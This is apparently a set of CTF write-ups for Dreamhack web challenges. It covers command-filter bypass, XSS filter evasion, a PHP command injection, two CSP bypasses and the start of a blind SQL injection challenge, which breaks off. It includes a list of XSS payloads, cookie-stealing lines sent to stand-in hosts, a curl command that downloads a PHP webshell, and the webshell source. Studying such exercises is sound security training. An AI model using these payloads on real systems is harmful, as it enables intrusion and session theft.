    • But remember, the characters entered must be greater than chr 7, that is, non-numeric characters from : ~ ~ are allowed

Untitled

Untitled

Untitled


BypassIF

  • Description
    Admin의 KEY가 필요합니다! 알맞은 KEY값을 입력하여 플래그를 획득하세요.
    플래그 형식은 DH{…} 입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template, redirect, url_for
import string
import os
import hashlib

app = Flask(__name__)

try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"

KEY = hashlib.md5(FLAG.encode()).hexdigest()
guest_key = hashlib.md5(b"guest").hexdigest()#084e0343a0486ff05530df6c705c8bb4

# filtering
def filter_cmd(cmd):
alphabet = list(string.ascii_lowercase)
alphabet.extend([' '])
num = '0123456789'
alphabet.extend(num)
command_list = ['flag','cat','chmod','head','tail','less','awk','more','grep']

for c in command_list:
if c in cmd:
return True
for c in cmd:
if c not in alphabet:
return True

@app.route('/', methods=['GET', 'POST'])
def index():
# GET request
return render_template('index.html')

@app.route('/flag', methods=['POST'])
def flag():
# POST request
if request.method == 'POST':
key = request.form.get('key', '')
cmd = request.form.get('cmd_input', '')
if cmd == '' and key == KEY:
return render_template('flag.html', txt=FLAG)
elif cmd == '' and key == guest_key:
return render_template('guest.html', txt=f"guest key: {guest_key}")
if cmd != '' or key == KEY:
if not filter_cmd(cmd):
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('flag.html', txt=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('flag.html', txt=f'Timeout! Your key: {KEY}')
except subprocess.CalledProcessError:
return render_template('flag.html', txt="Error!")
return render_template('flag.html')
else:
return redirect('/')
else:
return render_template('flag.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)

notice here

if input guest

1
2
>>> hashlib.md5(b"guest").hexdigest()
'084e0343a0486ff05530df6c705c8bb4'

Untitled

if input admin

1
2
>>> hashlib.md5(b"admin").hexdigest() 
'21232f297a57a5a743894a0e4a801fc3'

Untitled

and notic here

1
command_list = ['flag','cat','chmod','head','tail','less','awk','more','grep']

if input string not in cmd_list → Error

Untitled

if input string in cmd_list

Untitled

here can see the flag.txt

but how to read that file?

we cannot do this

Untitled

so let’s see the code again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if cmd != '' or key == KEY:
if not filter_cmd(cmd):
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('flag.html', txt=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('flag.html', txt=f'Timeout! Your key: {KEY}')
except subprocess.CalledProcessError:
return render_template('flag.html', txt="Error!")
return render_template('flag.html')
else:
return redirect('/')
else:
return render_template('flag.html')

if first to success execute command it will timeout=5, command exec time limit 5 min

if exceed 5 min it will timeout

notice here

1
2
except subprocess.TimeoutExpired:
return render_template('flag.html', txt=f'Timeout! Your key: {KEY}')

if timeout it will output flag

Untitled

ok, I got the admin key, then throw the key back into the input box

Untitled


XSS Filtering Bypass Advanced

  • Description

Exercise: XSS Filtering Bypass의 패치된 문제입니다.

  • 문제 수정 내역

2023.08.04 Dockerfile 제공

this question give some file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)

def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in **text.lower():#ALL word will be converted to lowercase**
return "filtered!!!"

advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"

return text

@app.route("/")
def index():
return render_template("index.html")

@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param

@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'

return '<script>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)

app.run(host="0.0.0.0", port=8000)

Sort out the execution process

web site provide the other three page, Which is

Untitled

a. flag

Untitled

b. memo

Untitled

c. vuln

Untitled

xss_filter → →[“script”, “on”, “javascript”,”window”, “self”, “this”, “document”, “location”, “(“, “)”, “&#”] → flag fun → param, FLAG.strip() →check_xss fun → vuln page → param value encode→read_url fun

we can notice the xss fliter

1
2
3
4
5
6
7
8
9
10
11
12
def xss_filter(text):
_filter = **["script", "on", "javascript"]**
for f in _filter:
if f in text.lower():
return "filtered!!!"

advanced_filter = **["window", "self", "this", "document", "location", "(", ")", "&#"]**
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"

return text

and from /flag get the param & cookie value

  • param value → /vuln using urllib.parse.quote(param) → param value url encode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
**driver.add_cookie(cookie)**
**driver.get(url)**
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
  • Build a URL to send the get request and save it in a variable named url, then pass the created URL and cookie value to the read_url function.

anyway, need to bypass the filter which is xss_fliter function and then let document.cookie value passed to /memo page!

1
["script", "on", "javascript","window", "self", "this", "document", "location", "(", ")", "&#"]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-----See how to bypass restrictions
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=cOnfirm`1` //>
"><img src=x onerror=prompt(1);>
alert`1`
al\u0065rt(1)
'>alert`1`</scr\0ipt><scr\0ipt/1='
<scr\0ipt>alert`1`//
<handler id="y">alert`127`</handler>
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<iFrAMe/src \/\/onload = prompt(1)
<SVg </onlOad ="1> `_=prompt,_`1`` "">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<iFrAMeSRC="jAvAsCrIpT:alert`1`;"></iFrAMe>
<--`<iMG/srC=` onerror=confirm``> --!>
<!'/*"/*/'/*/"/*--></scr\0ipt><Image SrcSet=K */; OnError=confirm`1` //>
<SVg </onlOad ="1> (_=prompt,_(1)) "">
<IMG SRC="jav ascript:alert`1`;">

<div id="133"><!-- `<img/src=xx:xx onerror=alert(133)//--!>//["'`-->]]>]</div>

----success
<<scr\0ipt/src=http://xss.com/xss.js></scr\0ipt
'>alert`1`</scr\0ipt><scr\0ipt/1='
<scr\0ipt>alert`1`//
<handler id="y">alert`127`</handler>
"><iframesrc="http://google.com"%3E
<iframe/src\/\/onlOad=prompt`1`

**<iframe src="data:text/html;test.com;www.youtube.com/XLYZ;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>**

Finally, <script>alert(1)</script> is encoded through iframe and base64, and the payload that can alert successfully is detected.

Untitled

when u go to /flag page then input that payload

Untitled

but our target is /memo page

so change the payload like this

1
2
3
4
For Example : <iframe src="jAvAsCrIpT:location.href='http://XXXX.com/cookie.php?cookie='+document.cookie" />

Payload : <iframe src="javascri pt:locati\u006Fn.href='/memo?memo='
+d\u006Fcument.cookie"></iframe>

can refer to this https://juejin.cn/s/iframe xss cheat sheet

Untitled

In some cases, to avoid exposing JavaScript code directly, it can be converted to a Unicode string to increase the security of the code. This technique is often used to encrypt, obfuscate, or hide JavaScript code.

The conversion process is simple, that is, converting each character in the JavaScript code to its corresponding Unicode character encoding. For example, the Unicode encoding for character ‘A’ is U+0041, the Unicode encoding for character ‘B’ is U+0042, and so on.

If you have a JavaScript string “ABCD”, the process of converting it to a Unicode string is to convert each character to its Unicode encoding and concatenate them. Therefore, the string might be converted to something like “\u0041\u0042\u0043\u0044”.


Switching Command

  • Description

Not Friendly service… Can you switching the command?

Host: host3.dreamhack.games

Port:  22351/tcp → 8001/tcp

For pwnables: nc host3.dreamhack.games 22351

For Web: http://host3.dreamhack.games:22351/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<?php
include ("./config.php");
include("./config/db_config.php");

$message = "";

if ($_SERVER["REQUEST_METHOD"]=="POST"){
$data = json_decode($_POST["username"]);

if ($data === null) {
exit("Failed to parse JSON data");
}

$username = $data->username;

if($username === "admin" ){
exit("no hack");
}

switch($username){
case "admin":
$user = "admin";
$password = "***REDACTED***";
$stmt = $conn -> prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt -> bind_param("ss",$user,$password);
$stmt -> execute();
$result = $stmt -> get_result();
if ($result -> num_rows == 1){
$_SESSION["auth"] = "admin";
header("Location: test.php");
} else {
$message = "Something wrong...";
}
break;
default:
$_SESSION["auth"] = "guest";
header("Location: test.php");

}
}
?>

<!DOCTYPE html>
<html>
<head>
<title>Enter Username</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
}
.container {
background-color: #ffffff;
width: 300px;
margin: 0 auto;
padding: 20px;
border: 1px solid #ccc;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
h2 {
text-align: center;
}
label {
display: block;
font-weight: bold;
margin-bottom: 10px;
}
input[type="text"] {
width: 90%;
padding: 10px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 3px;
}
input[type="submit"] {
background-color: #007bff;
color: #fff;
border: none;
padding: 10px 20px;
border-radius: 3px;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #0056b3;
}
.message {
text-align: center;
color: red;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<h2>Enter Username</h2>
<form method="POST" action="index.php">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<input type="submit" value="Submit">
<div class="message"><?php echo $message; ?></div>
</form>
</div>
</body>
</html>

1
2
3
4
<?php
ini_set('display_errors', 0);
session_start()
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

include ("./config.php");

$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';

if($_SESSION["auth"] === "admin"){

$command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
$sanitized_command = str_replace("\n","",$command);
if (preg_match($pattern, $sanitized_command)){
exit("No hack");
}
$resulttt = shell_exec(escapeshellcmd($sanitized_command));
}
else if($_SESSION["auth"]=== "guest") {

$command = "echo hi guest";
$result = shell_exec($command);

}

else {
$result = "Authentication first";
}
?>

<!DOCTYPE html>
<html>
<head>
<title>Command Test</title>
</head>
<body>
<h2>Command Test</h2>
<?php
echo "<pre>$result</pre>";
?>
</body>
</html>
1
2
3
4
5
6
<?php
$conn = mysqli_connect("db", "dreamhack", "dreamhack", "dreamhack");
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>

https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985

1
2
3
4
http://host3.dreamhack.games:22351/test.php?cmd=curl%22https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php%22-ohello.php

root@MSI:~# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Go to the beginning screen

Untitled

Untitled

username={“username”: “admin”}

But if input ⇒ {“username”:true}

Untitled

被限制的字元

1
$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';

When entering restricted content,

Untitled

Let’s take a closer look at this part of the code

1
2
3
4
5
6
7
8
if($_SESSION["auth"] === "admin"){

$command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
$sanitized_command = str_replace("\n","",$command);
if (preg_match($pattern, $sanitized_command)){
exit("No hack");
}
$resulttt = shell_exec(escapeshellcmd($sanitized_command));

Notice the escapeshellcmd at the bottom

  • https://wikidocs.net/208715
  • Any character in an escape string that can be used to trick a shell command into executing arbitrary instructions.
  • A backslash () is inserted before the following characters: &#;`|*?~<>^()[]{}$, \x0A and \xFF. ‘ and “ are escaped only when unmatched. On Windows platforms, all these characters, as well as the % and ! characters, are replaced by spaces.
  • Spaces are not escaped
1
2
3
4
Replace single quotes (') in the command string with a backslash and single quote combination (\').
Replaces double quotes (") in the command string with a backslash and double quote combination (\").
Remove newline characters (\n) from the command string.
Remove carriage return characters (\r) from command strings.
1
2
http://host3.dreamhack.games:22351/test.php?cmd=curl%22https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php%22-ohello.php

Untitled

cd..%26%26cd..%26%26ls

Untitled

Find the directory of flag, you can find that it has execution permission, just execute it directly /flag

Untitled

Untitled


CSP Bypass

  • Description

Exercise: CSP Bypass에서 실습하는 문제입니다.

  • 문제 수정 내역

2023.08.07 Dockerfile 제공

Host: host3.dreamhack.games

Port:  20531/tcp → 8000/tcp

For pwnables: nc host3.dreamhack.games 20531

For Web: http://host3.dreamhack.games:20531/

let’s see app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)

@app.after_request
def add_header(response):
global nonce
response.headers[
"Content-Security-Policy"
] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
nonce = os.urandom(16).hex()
return response

@app.route("/")
def index():
return render_template("index.html", nonce=nonce)

@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param

@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)

app.run(host="0.0.0.0", port=8000)

then we can notice a function

1
2
3
4
5
6
7
def add_header(response):
global nonce
response.headers[
"Content-Security-Policy"
] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
nonce = os.urandom(16).hex()
return response
  • default-src 'self': This directive sets the default source for all resources to the same origin (the page itself). This means that resources like scripts, images, and stylesheets will only be loaded from the same domain as the web page.
  • img-src https://dreamhack.io: This directive restricts image loading to the specified domain, https://dreamhack.io. This means that images can only be loaded from this trusted source.
  • style-src 'self' 'unsafe-inline': This directive allows stylesheets to be loaded from the same origin (the page itself) and also permits the use of inline styles (unsafe-inline). Inline styles are defined directly within the HTML code, which can be a security risk if not carefully managed.
    • Why is unsafe-inline Considered Risky?
      • Allowing inline scripts and styles through unsafe-inline can make a web page more vulnerable to Cross-Site Scripting (XSS) attacks.
      • XSS occurs when an attacker can inject malicious JavaScript code into a web page, allowing them to manipulate the page’s behavior, steal user data, or redirect users to malicious sites.
  • script-src 'self' 'nonce-{nonce}': This directive restricts script loading to the same origin and also allows inline scripts using a nonce. A nonce is a unique random value generated for each page load. The {nonce} placeholder will be replaced with the actual nonce value during runtime.

So this CSP strategy can allow attacker in the same domain to loading the script

we can use /vuln page to bypass the CSP then exec script

payload:

1
<script src="vuln?param=location.href='memo?memo='%2bdocument.cookie"></script>

Untitled

But some people may have questions, why use %2b instead of +

  1. Client-side URL Decoding:

    When a web browser receives a URL, it performs URL decoding, which involves converting certain encoded characters back to their original forms. For instance, the plus sign (+) is encoded as %2b. During URL decoding, the browser replaces %2b with a space ().

  2. src Attribute and URL Decoding:

    The src attribute in HTML is commonly used to specify the source of resources like images, scripts, or CSS files. When the browser encounters a src attribute, it retrieves the specified resource. However, before making the request, it performs URL decoding on the value of the src attribute.

  3. Issue with Plus Sign Decoding:

    If the src attribute value contains a plus sign (+), the browser’s URL decoding process will convert it into a space (). This can cause problems if the plus sign is intended to be part of the actual resource URL.

  4. URL Encoding to Preserve Plus Sign:

    To prevent the browser from decoding the plus sign into a space, URL encoding is applied. URL encoding involves converting certain characters into their corresponding encoded forms. In this case, the plus sign (+) is encoded as %2b.

  5. Preserving Plus Sign during Transmission:

    When the URL-encoded value is sent to the server, the plus sign is preserved as %2b. The server, upon receiving the request, performs URL decoding, which correctly converts %2b back to the plus sign (+).

Example:

Consider a URL like https://example.com/image.jpg?param1=value1+param2=value2.

  • If this URL is directly used as the src attribute value without URL encoding, the browser’s URL decoding will convert the plus sign (+) into a space (), resulting in the following request:

    GET https://example.com/image.jpg?param1=value1 param2=value2

  • To preserve the plus sign, URL encoding is applied:

    https://example.com/image.jpg?param1=value1%2Bparam2=value2

  • When the URL-encoded value is sent and decoded by the server, the plus sign (+) is correctly preserved.

In short, if you want to keep the + , you need to url encode it


CSP Bypass Advanced

  • Description

Exercise: CSP Bypass의 패치된 문제입니다.

  • 문제 수정 내역

2023.08.07 Dockerfile 제공

let’s see the app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)

@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
nonce = os.urandom(16).hex()
return response

@app.route("/")
def index():
return render_template("index.html", nonce=nonce)

@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return render_template("vuln.html", param=param, nonce=nonce)

@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)

app.run(host="0.0.0.0", port=8000)

notice here

1
2
3
4
5
def add_header(response):
global nonce
**response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"**
nonce = os.urandom(16).hex()
return response
  • default-src 'self': This restricts resources like scripts, images, and stylesheets to load from the same origin (the page itself) by default.
  • img-src https://dreamhack.io: This allows images to be loaded only from the trusted domain https://dreamhack.io.
  • style-src 'self' 'unsafe-inline': This permits stylesheets from the same origin and allows inline styles (unsafe-inline), which is generally considered less secure.
  • script-src 'self' 'nonce-{nonce}': This directive allows scripts to load from the same origin ('self') and also enables inline scripts by using a nonce. The placeholder {nonce} will be replaced with an actual nonce value during runtime.
  • object-src 'none': This disallows loading of any objects (e.g., Flash, ActiveX) for enhanced security.

The script-src directive here contains the value of 'nonce-{nonce}', where {nonce} will be replaced with the actual nonce value. This means that only scripts with the correct nonce value will be allowed to execute

Let us notice the base.html in the web page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="{{ url_for('static', filename='css/bootstrap.min.css') }}">
<link rel="stylesheet" href="{{ url_for('static', filename='css/bootstrap-theme.min.css') }}">
<link rel="stylesheet" href="{{ url_for('static', filename='css/non-responsive.css') }}">
<title>{% block title %}{% endblock %} CSP-Bypass-Advanced</title>
{% block head %}{% endblock %}
</head>
<body>

<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">CSP-Bypass-Advanced</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
</ul>

<ul class="nav navbar-nav navbar-right">
</ul>

</div><!--/.nav-collapse -->
</div>
</nav>

<div class="container">
{% block content %}{% endblock %}
</div> <!-- /container -->

<!-- Bootstrap core JavaScript -->
<script src="{{ url_for('static', filename='js/jquery.min.js')}}" nonce={{ nonce }}></script>
<script src="{{ url_for('static', filename='js/bootstrap.min.js') }}" nonce={{ nonce }}></script>
</body>
</html>

Untitled

base.html:

  • This file serves as a base template for other HTML templates in the application.
  • It defines the overall layout of the web pages, including the header, navigation bar, container for content, and footer.
  • Importantly, it includes the JavaScript files (jquery.min.js and bootstrap.min.js) using the url_for function to construct the correct URLs for static files.
  • The nonce value generated in app.py is injected into the nonce attribute of the script tags using Jinja templating syntax ({{ nonce }}).
    • Jinja is a template engine provided by Flask. When used with render_template, you can easily dynamically write tags or information into HTML.

app.py:

  • It defines routes that handle different URL requests (//vuln/flag/memo).
  • The nonce value is generated using os.urandom(16).hex() to create a cryptographically secure random string.
  • The add_header decorator function is used to set the Content-Security-Policy (CSP) header for every response. This header includes the generated nonce value for inline scripts.
  • The routes (//vuln/flag/memo) use the render_template function to render HTML templates based on templates like index.htmlvuln.htmlflag.html, and memo.html. These templates inherit the base layout and functionality from base.html.

Using the render_template parameter settings, we successfully transferred the back-end data to the front-end. We also learned that we can use {{ parameters }} on the html file to receive the data from the back-end.

https://developer.mozilla.org/zh-TW/docs/Web/HTML/Element/base

https://dreamhack.io/wargame/writeups/9659

In short, you need to open a web server and then forge one of the two files jquery.min.js and bootstrap.min.js. First create /static/js/jquery.min.js and write it in the file.

1
location.href='http://127.0.0.1:8000/memo?memo='+document.cookie

Go to the flag page and enter <base href='https://yourwebserverdomainorip>

How to set up a personal server?

A GitHub Page can be created. When you create a repository named “[username].github.io” on Github, the repository will be hosted via the URL https: //The website accessed by [username].github.io.


blind sql injection advanced

  • Description

Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다.

관리자의 비밀번호는 “아스키코드”와 “한글”로 구성되어 있습니다.

  • 문제 수정 내역

2023.07.20 Dockerfile 제공

1
2
3
4
5
6
7
#! /usr/bin/env bash

export MYSQL_USER=dbuser
export MYSQL_PASSWORD=dbpass

/usr/bin/mysqld_safe --timezone=${DATE_TIMEZONE}&
python app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
**CREATE DATABASE user_db CHARACTER SET utf8;**
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);

INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0

if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

return render_template_string(template, uid=uid, nrows=nrows)

if __name__ == '__main__':
app.run(host='0.0.0.0')

when user input uid like admin、guest、test, these user is exists

http://host3.dreamhack.games:13635/?uid=test

Untitled

Untitled

Untitled

we can notice here

1
2
3
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');

when uid is admin then upw will output the flag

**uid** Maximum length is 128 characters. It represents the user’s account name

upw The maximum length is also 128 characters. It represents the user’s password

1
2
uid varchar(128) not null
upw varchar(128) not null

The definition of “varchar(128)” refers to the maximum number of characters that this field can hold, which is 128, rather than the number of bits. In other words, this field can store up to 128 characters, regardless of the specific encoding of those characters or the number of bits they occupy.

According to the title

